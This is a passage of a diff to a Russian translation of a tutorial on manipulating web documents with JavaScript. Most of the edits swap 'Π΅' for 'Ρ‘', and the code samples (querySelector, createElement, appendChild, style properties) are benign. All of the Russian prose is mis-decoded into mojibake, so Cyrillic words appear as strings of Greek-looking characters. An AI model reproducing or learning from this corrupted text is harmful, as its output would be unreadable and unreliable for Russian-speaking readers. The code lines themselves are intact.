<li>Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ элСмСнтом Π²Π½ΡƒΡ‚Ρ€ΠΈ DOM, Π²Π°ΠΌ сначала Π½ΡƒΠΆΠ½ΠΎ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΠΈ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ссылку Π½Π° Π½Π΅Π³ΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ. Π’Π½ΡƒΡ‚Ρ€ΠΈ вашСго скриптового элСмСнта Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку:
<pre class="brush: js notranslate">var link = document.querySelector('a');</pre>
</li>
- <li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Ρƒ нас Π΅ΡΡ‚ΡŒ ссылка Π½Π° элСмСнт, хранящаяся Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π½Π°Ρ‡Π°Ρ‚ΡŒ Π΅Π΅ ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ с использованиСм доступных Π΅ΠΌΡƒ свойств ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² (ΠΎΠ½ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π½Π° Ρ‚Π°ΠΊΠΈΡ… интСрфСйсах, ΠΊΠ°ΠΊ {{domxref("HTMLAnchorElement")}} Π² случаС {{htmlelement ("a")}}, Π΅Π³ΠΎ Π±ΠΎΠ»Π΅Π΅ ΠΎΠ±Ρ‰ΠΈΠΉ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ интСрфСйс {{domxref ("HTMLElement")}} ΠΈ {{domxref("Node")}} - ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдставляСт всС ΡƒΠ·Π»Ρ‹ Π² DOM). ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго, Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠΌ тСкст Π²Π½ΡƒΡ‚Ρ€ΠΈ ссылки, ΠΎΠ±Π½ΠΎΠ²ΠΈΠ² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства {{domxref("Node.textContent")}}. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку Π½ΠΈΠΆΠ΅ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ:
+ <li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Ρƒ нас Π΅ΡΡ‚ΡŒ ссылка Π½Π° элСмСнт, хранящаяся Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π½Π°Ρ‡Π°Ρ‚ΡŒ Π΅Ρ‘ ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ с использованиСм доступных Π΅ΠΌΡƒ свойств ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² (ΠΎΠ½ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π½Π° Ρ‚Π°ΠΊΠΈΡ… интСрфСйсах, ΠΊΠ°ΠΊ {{domxref("HTMLAnchorElement")}} Π² случаС {{htmlelement ("a")}}, Π΅Π³ΠΎ Π±ΠΎΠ»Π΅Π΅ ΠΎΠ±Ρ‰ΠΈΠΉ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ интСрфСйс {{domxref ("HTMLElement")}} ΠΈ {{domxref("Node")}} - ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдставляСт всС ΡƒΠ·Π»Ρ‹ Π² DOM). ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго, Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠΌ тСкст Π²Π½ΡƒΡ‚Ρ€ΠΈ ссылки, ΠΎΠ±Π½ΠΎΠ²ΠΈΠ² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства {{domxref("Node.textContent")}}. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку Π½ΠΈΠΆΠ΅ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ:
<pre class="brush: js notranslate">link.textContent = 'Mozilla Developer Network';</pre>
</li>
<li>ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ URL-адрСс, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ссылка, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ Π½Π΅ ΠΏΠΎΠΏΠ°Π΄Π°Π» Π² Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ΅ мСсто ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку, ΠΎΠΏΡΡ‚ΡŒ Π²Π½ΠΈΠ·Ρƒ:
@@ -111,8 +111,8 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents
<p>Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π±ΠΎΠ»Π΅Π΅ старыС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ для Π·Π°Ρ…Π²Π°Ρ‚Π° ссылок Π½Π° элСмСнты, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
<ul>
- <li>{{domxref("Document.getElementById()")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ элСмСнт с Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>id</code>, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>&lt;p id="myId"&gt;Мой Π°Π±Π·Π°Ρ†&lt;/p&gt;</code>. Π˜Π΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ пСрСдаСтся Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΊΠ°ΠΊ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, Ρ‚.Π΅. <code>var elementRef = document.getElementById('myId')</code>.</li>
- <li>{{domxref("Document.getElementsByTagName()")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ массив, содСрТащий всС элСмСнты Π½Π° страницС Π΄Π°Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>&lt;p&gt;</code>, <code>&lt;a&gt;</code> ΠΈ Ρ‚.Π΄. Π’ΠΈΠΏ элСмСнта пСрСдаСтся ΠΊ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ <code>var elementRefArray = document.getElementsByTagName('p')</code>.</li>
+ <li>{{domxref("Document.getElementById()")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ элСмСнт с Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>id</code>, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>&lt;p id="myId"&gt;Мой Π°Π±Π·Π°Ρ†&lt;/p&gt;</code>. Π˜Π΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ пСрСдаётся Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΊΠ°ΠΊ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, Ρ‚.Π΅. <code>var elementRef = document.getElementById('myId')</code>.</li>
+ <li>{{domxref("Document.getElementsByTagName()")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ массив, содСрТащий всС элСмСнты Π½Π° страницС Π΄Π°Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>&lt;p&gt;</code>, <code>&lt;a&gt;</code> ΠΈ Ρ‚.Π΄. Π’ΠΈΠΏ элСмСнта пСрСдаётся ΠΊ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ <code>var elementRefArray = document.getElementsByTagName('p')</code>.</li>
</ul>
<p>Π­Ρ‚ΠΈ Π΄Π²Π° Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Π² Π±ΠΎΠ»Π΅Π΅ старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Ρ‡Π΅ΠΌ соврСмСнныС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ <code>querySelector()</code>, Π½ΠΎ Π½Π΅ Ρ‚Π°ΠΊ ΡƒΠ΄ΠΎΠ±Π½Ρ‹. ΠžΡΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ΡΡŒ ΠΈ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π΅Ρ‰Ρ‘ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ!</p>
@@ -123,7 +123,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents
<p>Π’Ρ‹ΡˆΠ΅ΡΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅ Π΄Π°Π»ΠΎ Π²Π°ΠΌ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ вкуса ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Π½ΠΎ Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΠΌ ΠΈ посмотрим, ΠΊΠ°ΠΊ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹Π΅ элСмСнты.</p>
<ol>
- <li>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡΡΡŒ ΠΊ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌΡƒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Π΅ΠΌ с Π·Π°Ρ…Π²Π°Ρ‚Π° ссылки Π½Π° наш элСмСнт {{htmlelement("section")}} - Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ Π²Π½ΠΈΠ·Ρƒ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ скрипта (сдСлайтС Ρ‚ΠΎ ΠΆΠ΅ самоС с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ строками):
+ <li>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡΡΡŒ ΠΊ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌΡƒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Ρ‘ΠΌ с Π·Π°Ρ…Π²Π°Ρ‚Π° ссылки Π½Π° наш элСмСнт {{htmlelement("section")}} - Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ Π²Π½ΠΈΠ·Ρƒ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ скрипта (сдСлайтС Ρ‚ΠΎ ΠΆΠ΅ самоС с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ строками):
<pre class="brush: js notranslate">var sect = document.querySelector('section');</pre>
</li>
<li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄Π°Π²Π°ΠΉΡ‚Π΅ создадим Π½ΠΎΠ²Ρ‹ΠΉ Π°Π±Π·Π°Ρ†, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{domxref("Document.createElement()")}} ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΄ΠΈΠΌ Π΅ΠΌΡƒ тСкстовоС содСрТимоС Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ Ρ€Π°Π½ΡŒΡˆΠ΅:
@@ -136,7 +136,7 @@ para.textContent = 'We hope you enjoyed the ride.';</pre>
<li>НаконСц, для этой части, Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ тСкстовый ΡƒΠ·Π΅Π» Π² Π°Π±Π·Π°Ρ†, Π³Π΄Π΅ находится ссылка, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ„ΠΎΡ€ΠΌΠΈΡ‚ΡŒ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ красиво. Π‘Π½Π°Ρ‡Π°Π»Π° ΠΌΡ‹ создадим тСкстовый ΡƒΠ·Π΅Π», ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{domxref("Document.createTextNode()")}}:
<pre class="brush: js notranslate">var text = document.createTextNode(' β€” the premier source for web development knowledge.');</pre>
</li>
- <li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ возьмСм ссылку Π½Π° Π°Π±Π·Π°Ρ†, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ находится ссылка, ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ ΠΊ Π½Π΅ΠΌΡƒ тСкстовый ΡƒΠ·Π΅Π»:
+ <li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ Π²ΠΎΠ·ΡŒΠΌΡ‘ΠΌ ссылку Π½Π° Π°Π±Π·Π°Ρ†, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ находится ссылка, ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ ΠΊ Π½Π΅ΠΌΡƒ тСкстовый ΡƒΠ·Π΅Π»:
<pre class="brush: js notranslate">var linkPara = document.querySelector('p');
linkPara.appendChild(text);</pre>
</li>
@@ -152,7 +152,7 @@ linkPara.appendChild(text);</pre>
<pre class="brush: js notranslate">sect.appendChild(linkPara);</pre>
-<p>Π­Ρ‚ΠΎ ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄ΠΈΡ‚ Π°Π±Π·Π°Ρ† Π²Π½ΠΈΠ· Π² ниТнюю Ρ‡Π°ΡΡ‚ΡŒ Ρ€Π°Π·Π΄Π΅Π»Π°. Π’Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ΠΏΠΎΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ это сдСлаСт Π²Ρ‚ΠΎΡ€ΡƒΡŽ копию, Π½ΠΎ это Π½Π΅ Ρ‚Π°ΠΊ - <code>linkPara</code> - ссылка Π½Π° Π΅Π΄ΠΈΠ½ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ копию этого Π°Π±Π·Π°Ρ†Π°. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ копию ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π΅Π΅ Ρ‚Π°ΠΊΠΆΠ΅, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ {{domxref("Node.cloneNode()")}}.</p>
+<p>Π­Ρ‚ΠΎ ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄ΠΈΡ‚ Π°Π±Π·Π°Ρ† Π²Π½ΠΈΠ· Π² ниТнюю Ρ‡Π°ΡΡ‚ΡŒ Ρ€Π°Π·Π΄Π΅Π»Π°. Π’Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ΠΏΠΎΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ это сдСлаСт Π²Ρ‚ΠΎΡ€ΡƒΡŽ копию, Π½ΠΎ это Π½Π΅ Ρ‚Π°ΠΊ - <code>linkPara</code> - ссылка Π½Π° Π΅Π΄ΠΈΠ½ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ копию этого Π°Π±Π·Π°Ρ†Π°. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ копию ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π΅Ρ‘ Ρ‚Π°ΠΊΠΆΠ΅, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ {{domxref("Node.cloneNode()")}}.</p>
<p>Π£Π΄Π°Π»Π΅Π½ΠΈΠ΅ ΡƒΠ·Π»Π° довольно просто, ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅, ΠΊΠΎΠ³Π΄Π° Ρƒ вас Π΅ΡΡ‚ΡŒ ссылка Π½Π° удаляСмый ΡƒΠ·Π΅Π» ΠΈ Π΅Π³ΠΎ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ элСмСнт. Π’ нашСм случаС ΠΌΡ‹ просто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ {{domxref("Node.removeChild()")}}, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
@@ -168,7 +168,7 @@ linkPara.appendChild(text);</pre>
<p>МоТно ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ стилями CSS с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ JavaScript Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ способами.</p>
-<p>Для Π½Π°Ρ‡Π°Π»Π° Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ список всСх Ρ‚Π°Π±Π»ΠΈΡ† стилСй, ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Π΅Π½Π½Ρ‹Ρ… ΠΊ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρƒ, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{domxref("Document.stylesheets")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ массив ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² {{domxref("CSSStyleSheet")}}. Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ / ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ стили ΠΏΠΎ ТСланию. Однако ΠΌΡ‹ Π½Π΅ Π±ΡƒΠ΄Π΅ΠΌ Ρ€Π°ΡΡˆΠΈΡ€ΡΡ‚ΡŒ эти Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ нСсколько Π°Ρ€Ρ…Π°ΠΈΡ‡Π½Ρ‹ΠΌ ΠΈ Ρ‚Ρ€ΡƒΠ΄Π½Ρ‹ΠΌ способом манипулирования стилСм. Π•ΡΡ‚ΡŒ Π³ΠΎΡ€Π°Π·Π΄ΠΎ Π±ΠΎΠ»Π΅Π΅ простыС способы.</p>
+<p>Для Π½Π°Ρ‡Π°Π»Π° Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ список всСх Ρ‚Π°Π±Π»ΠΈΡ† стилСй, ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Ρ‘Π½Π½Ρ‹Ρ… ΠΊ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρƒ, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{domxref("Document.stylesheets")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ массив ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² {{domxref("CSSStyleSheet")}}. Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ / ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ стили ΠΏΠΎ ТСланию. Однако ΠΌΡ‹ Π½Π΅ Π±ΡƒΠ΄Π΅ΠΌ Ρ€Π°ΡΡˆΠΈΡ€ΡΡ‚ΡŒ эти Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ нСсколько Π°Ρ€Ρ…Π°ΠΈΡ‡Π½Ρ‹ΠΌ ΠΈ Ρ‚Ρ€ΡƒΠ΄Π½Ρ‹ΠΌ способом манипулирования стилСм. Π•ΡΡ‚ΡŒ Π³ΠΎΡ€Π°Π·Π΄ΠΎ Π±ΠΎΠ»Π΅Π΅ простыС способы.</p>
<p>ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ способ - Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ встроСнныС стили нСпосрСдствСнно Π½Π° элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ динамичСски ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ. Π­Ρ‚ΠΎ дСлаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойства {{domxref("HTMLElement.style")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ содСрТит Π²ΡΡ‚Ρ€ΠΎΠ΅Π½Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ стилС для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ свойства этого ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° для нСпосрСдствСнного обновлСния стилСй элСмСнтов.</p>
@@ -189,7 +189,7 @@ para.style.textAlign = 'center';</pre>
<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Ρ‚ΠΎ, ΠΊΠ°ΠΊ вСрсии свойств JavaScript стилСй CSS ΠΏΠΈΡˆΡƒΡ‚ΡΡ Π² Π½ΠΈΠΆΠ½Π΅ΠΌ рСгистрС Π²Π΅Ρ€Π±Π»ΡŽΠΆΡŒΠ΅Π³ΠΎ стиля (lower camel case), Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ вСрсии свойств стилСй CSS ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ дСфисы  (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>backgroundColor</code> ΠΈ <code>background-color</code>). Π£Π±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π½Π΅ ΠΏΠ΅Ρ€Π΅ΠΏΡƒΡ‚Π°Π»ΠΈ ΠΈΡ…, ΠΈΠ½Π°Ρ‡Π΅ это Π½Π΅ сработаСт.</p>
</div>
-<p>БущСствуСт Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ распространСнный способ динамичСского управлСния стилями вашСго Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ рассмотрим сСйчас.</p>
+<p>БущСствуСт Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ распространённый способ динамичСского управлСния стилями вашСго Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ рассмотрим сСйчас.</p>
<ol>
<li>Π£Π΄Π°Π»ΠΈΡ‚Π΅ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠ΅ ΠΏΡΡ‚ΡŒ строк, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½Ρ‹Ρ… Π² JavaScript.</li>
@@ -204,17 +204,17 @@ para.style.textAlign = 'center';</pre>
}
&lt;/style&gt;</pre>
</li>
- <li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅ΠΌ ΠΊ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΌΡƒ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρƒ для ΠΎΠ±Ρ‰Π΅Π³ΠΎ манипулирования HTML - {{domxref("Element.setAttribute()")}} - это ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π΄Π²Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°, Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ для элСмСнта, ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ для Π΅Π³ΠΎ установки. Π’ этом случаС ΠΌΡ‹ ΡƒΠΊΠ°ΠΆΠ΅ΠΌ имя класса выдСлСния Π² нашСм Π°Π±Π·Π°Ρ†Π΅:
